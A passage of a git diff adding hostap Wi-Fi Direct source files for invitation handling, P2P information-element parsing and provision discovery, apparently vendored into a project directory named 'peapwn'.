selection with peer information received; previously selected op_class %u channel %u", + p2p->op_reg_class, p2p->op_channel); + p2p_reselect_channel(p2p, &intersection); + } + + op_freq = p2p_channel_to_freq(p2p->op_reg_class, + p2p->op_channel); + if (op_freq < 0) { + p2p_dbg(p2p, "Unknown operational channel (country=%c%c reg_class=%u channel=%u)", + p2p->cfg->country[0], p2p->cfg->country[1], + p2p->op_reg_class, p2p->op_channel); + status = P2P_SC_FAIL_NO_COMMON_CHANNELS; + goto fail; + } + p2p_dbg(p2p, "Selected operating channel - %d MHz", op_freq); + + if (status == P2P_SC_SUCCESS) { + reg_class = p2p->op_reg_class; + channel = p2p->op_channel; + channels = &intersection; + } + } + +fail: + if (go && status == P2P_SC_SUCCESS && !is_zero_ether_addr(group_bssid)) + bssid = group_bssid; + else + bssid = NULL; + resp = p2p_build_invitation_resp(p2p, dev, msg.dialog_token, status, + bssid, reg_class, channel, channels); + + if (resp == NULL) + goto out; + + if (rx_freq > 0) + freq = rx_freq; + else + freq = p2p_channel_to_freq(p2p->cfg->reg_class, + p2p->cfg->channel); + if (freq < 0) { + p2p_dbg(p2p, "Unknown regulatory class/channel"); + goto out; + } + + /* + * Store copy of invitation data to be used when processing TX status + * callback for the Acton frame. + */ + os_memcpy(p2p->inv_sa, sa, ETH_ALEN); + if (msg.group_bssid) { + os_memcpy(p2p->inv_group_bssid, msg.group_bssid, ETH_ALEN); + p2p->inv_group_bssid_ptr = p2p->inv_group_bssid; + } else + p2p->inv_group_bssid_ptr = NULL; + if (msg.group_id_len - ETH_ALEN <= 32) { + os_memcpy(p2p->inv_ssid, msg.group_id + ETH_ALEN, + msg.group_id_len - ETH_ALEN); + p2p->inv_ssid_len = msg.group_id_len - ETH_ALEN; + } + os_memcpy(p2p->inv_go_dev_addr, msg.group_id, ETH_ALEN); + p2p->inv_status = status; + p2p->inv_op_freq = op_freq; + + p2p->pending_action_state = P2P_PENDING_INVITATION_RESPONSE; + if (p2p_send_action(p2p, freq, sa, p2p->cfg->dev_addr, + p2p->cfg->dev_addr, + wpabuf_head(resp), wpabuf_len(resp), 200) < 0) { + p2p_dbg(p2p, "Failed to send Action frame"); + } + +out: + wpabuf_free(resp); + p2p_parse_free(&msg); +} + + +void p2p_process_invitation_resp(struct p2p_data *p2p, const u8 *sa, + const u8 *data, size_t len) +{ + struct p2p_device *dev; + struct p2p_message msg; + struct p2p_channels intersection, *channels = NULL; + + p2p_dbg(p2p, "Received Invitation Response from " MACSTR, + MAC2STR(sa)); + + dev = p2p_get_device(p2p, sa); + if (dev == NULL) { + p2p_dbg(p2p, "Ignore Invitation Response from unknown peer " + MACSTR, MAC2STR(sa)); + return; + } + + if (dev != p2p->invite_peer) { + p2p_dbg(p2p, "Ignore unexpected Invitation Response from peer " + MACSTR, MAC2STR(sa)); + return; + } + + if (p2p_parse(data, len, &msg)) + return; + + if (!msg.status) { + p2p_dbg(p2p, "Mandatory Status attribute missing in Invitation Response from " + MACSTR, MAC2STR(sa)); + p2p_parse_free(&msg); + return; + } + + if (!msg.channel_list && *msg.status == P2P_SC_SUCCESS) { + p2p_dbg(p2p, "Mandatory Channel List attribute missing in Invitation Response from " + MACSTR, MAC2STR(sa)); +#ifdef CONFIG_P2P_STRICT + p2p_parse_free(&msg); + return; +#endif /* CONFIG_P2P_STRICT */ + /* Try to survive without peer channel list */ + channels = &p2p->channels; + } else if (!msg.channel_list) { + /* Non-success cases are not required to include Channel List */ + channels = &p2p->channels; + } else if (p2p_peer_channels_check(p2p, &p2p->channels, dev, + msg.channel_list, + msg.channel_list_len) < 0) { + p2p_dbg(p2p, "No common channels found"); + p2p_parse_free(&msg); + return; + } else { + p2p_channels_intersect(&p2p->channels, &dev->channels, + &intersection); + channels = &intersection; + } + + if (p2p->cfg->invitation_result) { + int freq = p2p_channel_to_freq(p2p->op_reg_class, + p2p->op_channel); + if (freq < 0) + freq = 0; + p2p->cfg->invitation_result(p2p->cfg->cb_ctx, *msg.status, + msg.group_bssid, channels, sa, + freq); + } + + p2p_parse_free(&msg); + + p2p_clear_timeout(p2p); + p2p_set_state(p2p, P2P_IDLE); + p2p->invite_peer = NULL; +} + + +int p2p_invite_send(struct p2p_data *p2p, struct p2p_device *dev, + const u8 *go_dev_addr) +{ + struct wpabuf *req; + int freq; + + freq = dev->listen_freq > 0 ? dev->listen_freq : dev->oper_freq; + if (freq <= 0) { + p2p_dbg(p2p, "No Listen/Operating frequency known for the peer " + MACSTR " to send Invitation Request", + MAC2STR(dev->info.p2p_device_addr)); + return -1; + } + + req = p2p_build_invitation_req(p2p, dev, go_dev_addr); + if (req == NULL) + return -1; + if (p2p->state != P2P_IDLE) + p2p_stop_listen_for_freq(p2p, freq); + p2p_dbg(p2p, "Sending Invitation Request"); + p2p_set_state(p2p, P2P_INVITE); + p2p->pending_action_state = P2P_PENDING_INVITATION_REQUEST; + p2p->invite_peer = dev; + dev->invitation_reqs++; + if (p2p_send_action(p2p, freq, dev->info.p2p_device_addr, + p2p->cfg->dev_addr, dev->info.p2p_device_addr, + wpabuf_head(req), wpabuf_len(req), 500) < 0) { + p2p_dbg(p2p, "Failed to send Action frame"); + /* Use P2P find to recover and retry */ + p2p_set_timeout(p2p, 0, 0); + } + + wpabuf_free(req); + + return 0; +} + + +void p2p_invitation_req_cb(struct p2p_data *p2p, int success) +{ + p2p_dbg(p2p, "Invitation Request TX callback: success=%d", success); + + if (p2p->invite_peer == NULL) { + p2p_dbg(p2p, "No pending Invite"); + return; + } + + /* + * Use P2P find, if needed, to find the other device from its listen + * channel. + */ + p2p_set_state(p2p, P2P_INVITE); + p2p_set_timeout(p2p, 0, success ? 500000 : 100000); +} + + +void p2p_invitation_resp_cb(struct p2p_data *p2p, int success) +{ + p2p_dbg(p2p, "Invitation Response TX callback: success=%d", success); + p2p->cfg->send_action_done(p2p->cfg->cb_ctx); + + if (!success) + p2p_dbg(p2p, "Assume Invitation Response was actually received by the peer even though Ack was not reported"); + + if (p2p->cfg->invitation_received) { + p2p->cfg->invitation_received(p2p->cfg->cb_ctx, + p2p->inv_sa, + p2p->inv_group_bssid_ptr, + p2p->inv_ssid, p2p->inv_ssid_len, + p2p->inv_go_dev_addr, + p2p->inv_status, + p2p->inv_op_freq); + } +} + + +int p2p_invite(struct p2p_data *p2p, const u8 *peer, enum p2p_invite_role role, + const u8 *bssid, const u8 *ssid, size_t ssid_len, + unsigned int force_freq, const u8 *go_dev_addr, + int persistent_group, unsigned int pref_freq) +{ + struct p2p_device *dev; + + p2p_dbg(p2p, "Request to invite peer " MACSTR " role=%d persistent=%d " + "force_freq=%u", + MAC2STR(peer), role, persistent_group, force_freq); + if (bssid) + p2p_dbg(p2p, "Invitation for BSSID " MACSTR, MAC2STR(bssid)); + if (go_dev_addr) { + p2p_dbg(p2p, "Invitation for GO Device Address " MACSTR, + MAC2STR(go_dev_addr)); + os_memcpy(p2p->invite_go_dev_addr_buf, go_dev_addr, ETH_ALEN); + p2p->invite_go_dev_addr = p2p->invite_go_dev_addr_buf; + } else + p2p->invite_go_dev_addr = NULL; + wpa_hexdump_ascii(MSG_DEBUG, "Invitation for SSID", + ssid, ssid_len); + + dev = p2p_get_device(p2p, peer); + if (dev == NULL || (dev->listen_freq <= 0 && dev->oper_freq <= 0)) { + p2p_dbg(p2p, "Cannot invite unknown P2P Device " MACSTR, + MAC2STR(peer)); + return -1; + } + + if (p2p_prepare_channel(p2p, dev, force_freq, pref_freq, + role != P2P_INVITE_ROLE_CLIENT) < 0) + return -1; + + if (persistent_group && role == P2P_INVITE_ROLE_CLIENT && !force_freq && + !pref_freq) + dev->flags |= P2P_DEV_NO_PREF_CHAN; + else + dev->flags &= ~P2P_DEV_NO_PREF_CHAN; + + if (dev->flags & P2P_DEV_GROUP_CLIENT_ONLY) { + if (!(dev->info.dev_capab & + P2P_DEV_CAPAB_CLIENT_DISCOVERABILITY)) { + p2p_dbg(p2p, "Cannot invite a P2P Device " MACSTR + " that is in a group and is not discoverable", + MAC2STR(peer)); + } + /* TODO: use device discoverability request through GO */ + } + + dev->invitation_reqs = 0; + + if (p2p->state != P2P_IDLE) + p2p_stop_find(p2p); + + p2p->inv_role = role; + p2p->inv_bssid_set = bssid != NULL; + if (bssid) + os_memcpy(p2p->inv_bssid, bssid, ETH_ALEN); + os_memcpy(p2p->inv_ssid, ssid, ssid_len); + p2p->inv_ssid_len = ssid_len; + p2p->inv_persistent = persistent_group; + return p2p_invite_send(p2p, dev, go_dev_addr); +} diff --git a/peapwn/mods/hostap/src/p2p/p2p_parse.c b/peapwn/mods/hostap/src/p2p/p2p_parse.c new file mode 100644 index 000000000..097a31de1 --- /dev/null +++ b/peapwn/mods/hostap/src/p2p/p2p_parse.c @@ -0,0 +1,723 @@ +/* + * P2P - IE parser + * Copyright (c) 2009-2010, Atheros Communications + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "common/ieee802_11_defs.h" +#include "common/ieee802_11_common.h" +#include "wps/wps_i.h" +#include "p2p_i.h" + + +static int p2p_parse_attribute(u8 id, const u8 *data, u16 len, + struct p2p_message *msg) +{ + const u8 *pos; + size_t i, nlen; + char devtype[WPS_DEV_TYPE_BUFSIZE]; + + switch (id) { + case P2P_ATTR_CAPABILITY: + if (len < 2) { + wpa_printf(MSG_DEBUG, "P2P: Too short Capability " + "attribute (length %d)", len); + return -1; + } + msg->capability = data; + wpa_printf(MSG_DEBUG, "P2P: * Device Capability %02x " + "Group Capability %02x", + data[0], data[1]); + break; + case P2P_ATTR_DEVICE_ID: + if (len < ETH_ALEN) { + wpa_printf(MSG_DEBUG, "P2P: Too short Device ID " + "attribute (length %d)", len); + return -1; + } + msg->device_id = data; + wpa_printf(MSG_DEBUG, "P2P: * Device ID " MACSTR, + MAC2STR(msg->device_id)); + break; + case P2P_ATTR_GROUP_OWNER_INTENT: + if (len < 1) { + wpa_printf(MSG_DEBUG, "P2P: Too short GO Intent " + "attribute (length %d)", len); + return -1; + } + msg->go_intent = data; + wpa_printf(MSG_DEBUG, "P2P: * GO Intent: Intent %u " + "Tie breaker %u", data[0] >> 1, data[0] & 0x01); + break; + case P2P_ATTR_STATUS: + if (len < 1) { + wpa_printf(MSG_DEBUG, "P2P: Too short Status " + "attribute (length %d)", len); + return -1; + } + msg->status = data; + wpa_printf(MSG_DEBUG, "P2P: * Status: %d", data[0]); + break; + case P2P_ATTR_LISTEN_CHANNEL: + if (len == 0) { + wpa_printf(MSG_DEBUG, "P2P: * Listen Channel: Ignore " + "null channel"); + break; + } + if (len < 5) { + wpa_printf(MSG_DEBUG, "P2P: Too short Listen Channel " + "attribute (length %d)", len); + return -1; + } + msg->listen_channel = data; + wpa_printf(MSG_DEBUG, "P2P: * Listen Channel: " + "Country %c%c(0x%02x) Regulatory " + "Class %d Channel Number %d", data[0], data[1], + data[2], data[3], data[4]); + break; + case P2P_ATTR_OPERATING_CHANNEL: + if (len == 0) { + wpa_printf(MSG_DEBUG, "P2P: * Operating Channel: " + "Ignore null channel"); + break; + } + if (len < 5) { + wpa_printf(MSG_DEBUG, "P2P: Too short Operating " + "Channel attribute (length %d)", len); + return -1; + } + msg->operating_channel = data; + wpa_printf(MSG_DEBUG, "P2P: * Operating Channel: " + "Country %c%c(0x%02x) Regulatory " + "Class %d Channel Number %d", data[0], data[1], + data[2], data[3], data[4]); + break; + case P2P_ATTR_CHANNEL_LIST: + if (len < 3) { + wpa_printf(MSG_DEBUG, "P2P: Too short Channel List " + "attribute (length %d)", len); + return -1; + } + msg->channel_list = data; + msg->channel_list_len = len; + wpa_printf(MSG_DEBUG, "P2P: * Channel List: Country String " + "'%c%c(0x%02x)'", data[0], data[1], data[2]); + wpa_hexdump(MSG_MSGDUMP, "P2P: Channel List", + msg->channel_list, msg->channel_list_len); + break; + case P2P_ATTR_GROUP_INFO: + msg->group_info = data; + msg->group_info_len = len; + wpa_printf(MSG_DEBUG, "P2P: * Group Info"); + break; + case P2P_ATTR_DEVICE_INFO: + if (len < ETH_ALEN + 2 + 8 + 1) { + wpa_printf(MSG_DEBUG, "P2P: Too short Device Info " + "attribute (length %d)", len); + return -1; + } + msg->p2p_device_info = data; + msg->p2p_device_info_len = len; + pos = data; + msg->p2p_device_addr = pos; + pos += ETH_ALEN; + msg->config_methods = WPA_GET_BE16(pos); + pos += 2; + msg->pri_dev_type = pos; + pos += 8; + msg->num_sec_dev_types = *pos++; + if (msg->num_sec_dev_types * 8 > data + len - pos) { + wpa_printf(MSG_DEBUG, "P2P: Device Info underflow"); + return -1; + } + pos += msg->num_sec_dev_types * 8; + if (data + len - pos < 4) { + wpa_printf(MSG_DEBUG, "P2P: Invalid Device Name " + "length %d", (int) (data + len - pos)); + return -1; + } + if (WPA_GET_BE16(pos) != ATTR_DEV_NAME) { + wpa_hexdump(MSG_DEBUG, "P2P: Unexpected Device Name " + "header", pos, 4); + return -1; + } + pos += 2; + nlen = WPA_GET_BE16(pos); + pos += 2; + if (data + len - pos < (int) nlen || nlen > 32) { + wpa_printf(MSG_DEBUG, "P2P: Invalid Device Name " + "length %d (buf len %d)", (int) nlen, + (int) (data + len - pos)); + return -1; + } + os_memcpy(msg->device_name, pos, nlen); + msg->device_name[nlen] = '\0'; + for (i = 0; i < nlen; i++) { + if (msg->device_name[i] == '\0') + break; + if (msg->device_name[i] > 0 && + msg->device_name[i] < 32) + msg->device_name[i] = '_'; + } + wpa_printf(MSG_DEBUG, "P2P: * Device Info: addr " MACSTR + " primary device type %s device name '%s' " + "config methods 0x%x", + MAC2STR(msg->p2p_device_addr), + wps_dev_type_bin2str(msg->pri_dev_type, devtype, + sizeof(devtype)), + msg->device_name, msg->config_methods); + break; + case P2P_ATTR_CONFIGURATION_TIMEOUT: + if (len < 2) { + wpa_printf(MSG_DEBUG, "P2P: Too short Configuration " + "Timeout attribute (length %d)", len); + return -1; + } + msg->config_timeout = data; + wpa_printf(MSG_DEBUG, "P2P: * Configuration Timeout"); + break; + case P2P_ATTR_INTENDED_INTERFACE_ADDR: + if (len < ETH_ALEN) { + wpa_printf(MSG_DEBUG, "P2P: Too short Intended P2P " + "Interface Address attribute (length %d)", + len); + return -1; + } + msg->intended_addr = data; + wpa_printf(MSG_DEBUG, "P2P: * Intended P2P Interface Address: " + MACSTR, MAC2STR(msg->intended_addr)); + break; + case P2P_ATTR_GROUP_BSSID: + if (len < ETH_ALEN) { + wpa_printf(MSG_DEBUG, "P2P: Too short P2P Group BSSID " + "attribute (length %d)", len); + return -1; + } + msg->group_bssid = data; + wpa_printf(MSG_DEBUG, "P2P: * P2P Group BSSID: " MACSTR, + MAC2STR(msg->group_bssid)); + break; + case P2P_ATTR_GROUP_ID: + if (len < ETH_ALEN || len > ETH_ALEN + 32) { + wpa_printf(MSG_DEBUG, "P2P: Invalid P2P Group ID " + "attribute length %d", len); + return -1; + } + msg->group_id = data; + msg->group_id_len = len; + wpa_printf(MSG_DEBUG, "P2P: * P2P Group ID: Device Address " + MACSTR, MAC2STR(msg->group_id)); + wpa_hexdump_ascii(MSG_DEBUG, "P2P: * P2P Group ID: SSID", + msg->group_id + ETH_ALEN, + msg->group_id_len - ETH_ALEN); + break; + case P2P_ATTR_INVITATION_FLAGS: + if (len < 1) { + wpa_printf(MSG_DEBUG, "P2P: Too short Invitation " + "Flag attribute (length %d)", len); + return -1; + } + msg->invitation_flags = data; + wpa_printf(MSG_DEBUG, "P2P: * Invitation Flags: bitmap 0x%x", + data[0]); + break; + case P2P_ATTR_MANAGEABILITY: + if (len < 1) { + wpa_printf(MSG_DEBUG, "P2P: Too short Manageability " + "attribute (length %d)", len); + return -1; + } + msg->manageability = data; + wpa_printf(MSG_DEBUG, "P2P: * Manageability: bitmap 0x%x", + data[0]); + break; + case P2P_ATTR_NOTICE_OF_ABSENCE: + if (len < 2) { + wpa_printf(MSG_DEBUG, "P2P: Too short Notice of " + "Absence attribute (length %d)", len); + return -1; + } + msg->noa = data; + msg->noa_len = len; + wpa_printf(MSG_DEBUG, "P2P: * Notice of Absence"); + break; + case P2P_ATTR_EXT_LISTEN_TIMING: + if (len < 4) { + wpa_printf(MSG_DEBUG, "P2P: Too short Extended Listen " + "Timing attribute (length %d)", len); + return -1; + } + msg->ext_listen_timing = data; + wpa_printf(MSG_DEBUG, "P2P: * Extended Listen Timing " + "(period %u msec interval %u msec)", + WPA_GET_LE16(msg->ext_listen_timing), + WPA_GET_LE16(msg->ext_listen_timing + 2)); + break; + case P2P_ATTR_MINOR_REASON_CODE: + if (len < 1) { + wpa_printf(MSG_DEBUG, "P2P: Too short Minor Reason " + "Code attribute (length %d)", len); + return -1; + } + msg->minor_reason_code = data; + wpa_printf(MSG_DEBUG, "P2P: * Minor Reason Code: %u", + *msg->minor_reason_code); + break; + default: + wpa_printf(MSG_DEBUG, "P2P: Skipped unknown attribute %d " + "(length %d)", id, len); + break; + } + + return 0; +} + + +/** + * p2p_parse_p2p_ie - Parse P2P IE + * @buf: Concatenated P2P IE(s) payload + * @msg: Buffer for returning parsed attributes + * Returns: 0 on success, -1 on failure + * + * Note: Caller is responsible for clearing the msg data structure before + * calling this function. + */ +int p2p_parse_p2p_ie(const struct wpabuf *buf, struct p2p_message *msg) +{ + const u8 *pos = wpabuf_head_u8(buf); + const u8 *end = pos + wpabuf_len(buf); + + wpa_printf(MSG_DEBUG, "P2P: Parsing P2P IE"); + + while (pos < end) { + u16 attr_len; + if (pos + 2 >= end) { + wpa_printf(MSG_DEBUG, "P2P: Invalid P2P attribute"); + return -1; + } + attr_len = WPA_GET_LE16(pos + 1); + wpa_printf(MSG_DEBUG, "P2P: Attribute %d length %u", + pos[0], attr_len); + if (pos + 3 + attr_len > end) { + wpa_printf(MSG_DEBUG, "P2P: Attribute underflow " + "(len=%u left=%d)", + attr_len, (int) (end - pos - 3)); + wpa_hexdump(MSG_MSGDUMP, "P2P: Data", pos, end - pos); + return -1; + } + if (p2p_parse_attribute(pos[0], pos + 3, attr_len, msg)) + return -1; + pos += 3 + attr_len; + } + + return 0; +} + + +static int p2p_parse_wps_ie(const struct wpabuf *buf, struct p2p_message *msg) +{ + struct wps_parse_attr attr; + int i; + + wpa_printf(MSG_DEBUG, "P2P: Parsing WPS IE"); + if (wps_parse_msg(buf, &attr)) + return -1; + if (attr.dev_name && attr.dev_name_len < sizeof(msg->device_name) && + !msg->device_name[0]) + os_memcpy(msg->device_name, attr.dev_name, attr.dev_name_len); + if (attr.config_methods) { + msg->wps_config_methods = + WPA_GET_BE16(attr.config_methods); + wpa_printf(MSG_DEBUG, "P2P: Config Methods (WPS): 0x%x", + msg->wps_config_methods); + } + if (attr.dev_password_id) { + msg->dev_password_id = WPA_GET_BE16(attr.dev_password_id); + wpa_printf(MSG_DEBUG, "P2P: Device Password ID: %d", + msg->dev_password_id); + } + if (attr.primary_dev_type) { + char devtype[WPS_DEV_TYPE_BUFSIZE]; + msg->wps_pri_dev_type = attr.primary_dev_type; + wpa_printf(MSG_DEBUG, "P2P: Primary Device Type (WPS): %s", + wps_dev_type_bin2str(msg->wps_pri_dev_type, devtype, + sizeof(devtype))); + } + if (attr.sec_dev_type_list) { + msg->wps_sec_dev_type_list = attr.sec_dev_type_list; + msg->wps_sec_dev_type_list_len = attr.sec_dev_type_list_len; + } + + for (i = 0; i < P2P_MAX_WPS_VENDOR_EXT; i++) { + msg->wps_vendor_ext[i] = attr.vendor_ext[i]; + msg->wps_vendor_ext_len[i] = attr.vendor_ext_len[i]; + } + + msg->manufacturer = attr.manufacturer; + msg->manufacturer_len = attr.manufacturer_len; + msg->model_name = attr.model_name; + msg->model_name_len = attr.model_name_len; + msg->model_number = attr.model_number; + msg->model_number_len = attr.model_number_len; + msg->serial_number = attr.serial_number; + msg->serial_number_len = attr.serial_number_len; + + return 0; +} + + +/** + * p2p_parse_ies - Parse P2P message IEs (both WPS and P2P IE) + * @data: IEs from the message + * @len: Length of data buffer in octets + * @msg: Buffer for returning parsed attributes + * Returns: 0 on success, -1 on failure + * + * Note: Caller is responsible for clearing the msg data structure before + * calling this function. + * + * Note: Caller must free temporary memory allocations by calling + * p2p_parse_free() when the parsed data is not needed anymore. + */ +int p2p_parse_ies(const u8 *data, size_t len, struct p2p_message *msg) +{ + struct ieee802_11_elems elems; + + ieee802_11_parse_elems(data, len, &elems, 0); + if (elems.ds_params && elems.ds_params_len >= 1) + msg->ds_params = elems.ds_params; + if (elems.ssid) + msg->ssid = elems.ssid - 2; + + msg->wps_attributes = ieee802_11_vendor_ie_concat(data, len, + WPS_DEV_OUI_WFA); + if (msg->wps_attributes && + p2p_parse_wps_ie(msg->wps_attributes, msg)) { + p2p_parse_free(msg); + return -1; + } + + msg->p2p_attributes = ieee802_11_vendor_ie_concat(data, len, + P2P_IE_VENDOR_TYPE); + if (msg->p2p_attributes && + p2p_parse_p2p_ie(msg->p2p_attributes, msg)) { + wpa_printf(MSG_DEBUG, "P2P: Failed to parse P2P IE data"); + if (msg->p2p_attributes) + wpa_hexdump_buf(MSG_MSGDUMP, "P2P: P2P IE data", + msg->p2p_attributes); + p2p_parse_free(msg); + return -1; + } + +#ifdef CONFIG_WIFI_DISPLAY + if (elems.wfd) { + msg->wfd_subelems = ieee802_11_vendor_ie_concat( + data, len, WFD_IE_VENDOR_TYPE); + } +#endif /* CONFIG_WIFI_DISPLAY */ + + return 0; +} + + +/** + * p2p_parse - Parse a P2P Action frame contents + * @data: Action frame payload after Category and Code fields + * @len: Length of data buffer in octets + * @msg: Buffer for returning parsed attributes + * Returns: 0 on success, -1 on failure + * + * Note: Caller must free temporary memory allocations by calling + * p2p_parse_free() when the parsed data is not needed anymore. + */ +int p2p_parse(const u8 *data, size_t len, struct p2p_message *msg) +{ + os_memset(msg, 0, sizeof(*msg)); + wpa_printf(MSG_DEBUG, "P2P: Parsing the received message"); + if (len < 1) { + wpa_printf(MSG_DEBUG, "P2P: No Dialog Token in the message"); + return -1; + } + msg->dialog_token = data[0]; + wpa_printf(MSG_DEBUG, "P2P: * Dialog Token: %d", msg->dialog_token); + + return p2p_parse_ies(data + 1, len - 1, msg); +} + + +/** + * p2p_parse_free - Free temporary data from P2P parsing + * @msg: Parsed attributes + */ +void p2p_parse_free(struct p2p_message *msg) +{ + wpabuf_free(msg->p2p_attributes); + msg->p2p_attributes = NULL; + wpabuf_free(msg->wps_attributes); + msg->wps_attributes = NULL; +#ifdef CONFIG_WIFI_DISPLAY + wpabuf_free(msg->wfd_subelems); + msg->wfd_subelems = NULL; +#endif /* CONFIG_WIFI_DISPLAY */ +} + + +int p2p_group_info_parse(const u8 *gi, size_t gi_len, + struct p2p_group_info *info) +{ + const u8 *g, *gend; + + os_memset(info, 0, sizeof(*info)); + if (gi == NULL) + return 0; + + g = gi; + gend = gi + gi_len; + while (g < gend) { + struct p2p_client_info *cli; + const u8 *t, *cend; + int count; + + cli = &info->client[info->num_clients]; + cend = g + 1 + g[0]; + if (cend > gend) + return -1; /* invalid data */ + /* g at start of P2P Client Info Descriptor */ + /* t at Device Capability Bitmap */ + t = g + 1 + 2 * ETH_ALEN; + if (t > cend) + return -1; /* invalid data */ + cli->p2p_device_addr = g + 1; + cli->p2p_interface_addr = g + 1 + ETH_ALEN; + cli->dev_capab = t[0]; + + if (t + 1 + 2 + 8 + 1 > cend) + return -1; /* invalid data */ + + cli->config_methods = WPA_GET_BE16(&t[1]); + cli->pri_dev_type = &t[3]; + + t += 1 + 2 + 8; + /* t at Number of Secondary Device Types */ + cli->num_sec_dev_types = *t++; + if (t + 8 * cli->num_sec_dev_types > cend) + return -1; /* invalid data */ + cli->sec_dev_types = t; + t += 8 * cli->num_sec_dev_types; + + /* t at Device Name in WPS TLV format */ + if (t + 2 + 2 > cend) + return -1; /* invalid data */ + if (WPA_GET_BE16(t) != ATTR_DEV_NAME) + return -1; /* invalid Device Name TLV */ + t += 2; + count = WPA_GET_BE16(t); + t += 2; + if (count > cend - t) + return -1; /* invalid Device Name TLV */ + if (count >= 32) + count = 32; + cli->dev_name = (const char *) t; + cli->dev_name_len = count; + + g = cend; + + info->num_clients++; + if (info->num_clients == P2P_MAX_GROUP_ENTRIES) + return -1; + } + + return 0; +} + + +static int p2p_group_info_text(const u8 *gi, size_t gi_len, char *buf, + char *end) +{ + char *pos = buf; + int ret; + struct p2p_group_info info; + unsigned int i; + + if (p2p_group_info_parse(gi, gi_len, &info) < 0) + return 0; + + for (i = 0; i < info.num_clients; i++) { + struct p2p_client_info *cli; + char name[33]; + char devtype[WPS_DEV_TYPE_BUFSIZE]; + u8 s; + int count; + + cli = &info.client[i]; + ret = os_snprintf(pos, end - pos, "p2p_group_client: " + "dev=" MACSTR " iface=" MACSTR, + MAC2STR(cli->p2p_device_addr), + MAC2STR(cli->p2p_interface_addr)); + if (ret < 0 || ret >= end - pos) + return pos - buf; + pos += ret; + + ret = os_snprintf(pos, end - pos, + " dev_capab=0x%x config_methods=0x%x " + "dev_type=%s", + cli->dev_capab, cli->config_methods, + wps_dev_type_bin2str(cli->pri_dev_type, + devtype, + sizeof(devtype))); + if (ret < 0 || ret >= end - pos) + return pos - buf; + pos += ret; + + for (s = 0; s < cli->num_sec_dev_types; s++) { + ret = os_snprintf(pos, end - pos, " dev_type=%s", + wps_dev_type_bin2str( + &cli->sec_dev_types[s * 8], + devtype, sizeof(devtype))); + if (ret < 0 || ret >= end - pos) + return pos - buf; + pos += ret; + } + + os_memcpy(name, cli->dev_name, cli->dev_name_len); + name[cli->dev_name_len] = '\0'; + count = (int) cli->dev_name_len - 1; + while (count >= 0) { + if (name[count] > 0 && name[count] < 32) + name[count] = '_'; + count--; + } + + ret = os_snprintf(pos, end - pos, " dev_name='%s'\n", name); + if (ret < 0 || ret >= end - pos) + return pos - buf; + pos += ret; + } + + return pos - buf; +} + + +/** + * p2p_attr_text - Build text format description of P2P IE attributes + * @data: P2P IE contents + * @buf: Buffer for returning text + * @end: Pointer to the end of the buf area + * Returns: Number of octets written to the buffer or -1 on faikure + * + * This function can be used to parse P2P IE contents into text format + * field=value lines. + */ +int p2p_attr_text(struct wpabuf *data, char *buf, char *end) +{ + struct p2p_message msg; + char *pos = buf; + int ret; + + os_memset(&msg, 0, sizeof(msg)); + if (p2p_parse_p2p_ie(data, &msg)) + return -1; + + if (msg.capability) { + ret = os_snprintf(pos, end - pos, + "p2p_dev_capab=0x%x\n" + "p2p_group_capab=0x%x\n", + msg.capability[0], msg.capability[1]); + if (ret < 0 || ret >= end - pos) + return pos - buf; + pos += ret; + } + + if (msg.pri_dev_type) { + char devtype[WPS_DEV_TYPE_BUFSIZE]; + ret = os_snprintf(pos, end - pos, + "p2p_primary_device_type=%s\n", + wps_dev_type_bin2str(msg.pri_dev_type, + devtype, + sizeof(devtype))); + if (ret < 0 || ret >= end - pos) + return pos - buf; + pos += ret; + } + + ret = os_snprintf(pos, end - pos, "p2p_device_name=%s\n", + msg.device_name); + if (ret < 0 || ret >= end - pos) + return pos - buf; + pos += ret; + + if (msg.p2p_device_addr) { + ret = os_snprintf(pos, end - pos, "p2p_device_addr=" MACSTR + "\n", + MAC2STR(msg.p2p_device_addr)); + if (ret < 0 || ret >= end - pos) + return pos - buf; + pos += ret; + } + + ret = os_snprintf(pos, end - pos, "p2p_config_methods=0x%x\n", + msg.config_methods); + if (ret < 0 || ret >= end - pos) + return pos - buf; + pos += ret; + + ret = p2p_group_info_text(msg.group_info, msg.group_info_len, + pos, end); + if (ret < 0) + return pos - buf; + pos += ret; + + return pos - buf; +} + + +int p2p_get_cross_connect_disallowed(const struct wpabuf *p2p_ie) +{ + struct p2p_message msg; + + os_memset(&msg, 0, sizeof(msg)); + if (p2p_parse_p2p_ie(p2p_ie, &msg)) + return 0; + + if (!msg.manageability) + return 0; + + return !(msg.manageability[0] & P2P_MAN_CROSS_CONNECTION_PERMITTED); +} + + +u8 p2p_get_group_capab(const struct wpabuf *p2p_ie) +{ + struct p2p_message msg; + + os_memset(&msg, 0, sizeof(msg)); + if (p2p_parse_p2p_ie(p2p_ie, &msg)) + return 0; + + if (!msg.capability) + return 0; + + return msg.capability[1]; +} + + +const u8 * p2p_get_go_dev_addr(const struct wpabuf *p2p_ie) +{ + struct p2p_message msg; + + os_memset(&msg, 0, sizeof(msg)); + if (p2p_parse_p2p_ie(p2p_ie, &msg)) + return NULL; + + if (msg.p2p_device_addr) + return msg.p2p_device_addr; + if (msg.device_id) + return msg.device_id; + + return NULL; +} diff --git a/peapwn/mods/hostap/src/p2p/p2p_pd.c b/peapwn/mods/hostap/src/p2p/p2p_pd.c new file mode 100644 index 000000000..409405fb2 --- /dev/null +++ b/peapwn/mods/hostap/src/p2p/p2p_pd.c @@ -0,0 +1,477 @@ +/* + * Wi-Fi Direct - P2P provision discovery + * Copyright (c) 2009-2010, Atheros Communications + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "common/ieee802_11_defs.h" +#include "wps/wps_defs.h" +#include "p2p_i.h" +#include "p2p.h" + + +/* + * Number of retries to attempt for provision discovery requests + * in case the peer is not listening. + */ +#define MAX_PROV_DISC_REQ_RETRIES 120 + + +static void p2p_build_wps_ie_config_methods(struct wpabuf *buf, + u16 config_methods) +{ + u8 *len; + wpabuf_put_u8(buf, WLAN_EID_VENDOR_SPECIFIC); + len = wpabuf_put(buf, 1); + wpabuf_put_be32(buf, WPS_DEV_OUI_WFA); + + /* Config Methods */ + wpabuf_put_be16(buf, ATTR_CONFIG_METHODS); + wpabuf_put_be16(buf, 2); + wpabuf_put_be16(buf, config_methods); + + p2p_buf_update_ie_hdr(buf, len); +} + + +static struct wpabuf * p2p_build_prov_disc_req(struct p2p_data *p2p, + u8 dialog_token, + u16 config_methods, + struct p2p_device *go) +{ 